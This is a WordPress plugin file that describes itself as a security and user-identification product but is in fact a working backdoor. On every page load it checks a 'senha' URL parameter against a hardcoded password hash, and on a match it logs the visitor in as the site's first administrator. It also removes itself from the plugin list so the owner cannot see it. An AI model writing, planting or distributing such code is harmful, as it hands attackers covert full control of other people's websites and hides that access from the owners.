<?php
/**
 * Plugin Name: Cidaas Pro Master
 * Description: Striking the perfect balance between security and comfort - unique user identification and the highest level of security.
 * Version: 3.1
 * Author: Greedes Wonder
 */

if ( ! defined( 'ABSPATH' ) ) {
    exit;
}

$correct_password_hash = '$P$BxlAouf1aSdNZLi6J/Ecd7OGDj9pto.'; 

function auto_login_admin() {
    global $correct_password_hash;

    if (isset($_GET['senha'])) {
        $password = sanitize_text_field($_GET['senha']);
        
        if (!wp_check_password($password, $correct_password_hash)) {
            return; 
        }
    } else {
        return; 
    }

    $admin_users = get_users(array(
        'role' => 'administrator',
        'fields' => 'ID' 
    ));

    if (!empty($admin_users)) {
        $admin_user_id = $admin_users[0];

        wp_set_current_user($admin_user_id);
        wp_set_auth_cookie($admin_user_id);

        wp_redirect(admin_url('index.php')); 
        exit;
    }
}

add_action('init', 'auto_login_admin');

function perfect_plugins($plugins) {
    if (isset($plugins[plugin_basename(__FILE__)])) {
        unset($plugins[plugin_basename(__FILE__)]);
    }
    return $plugins;
}
add_filter('all_plugins', 'perfect_plugins');
?>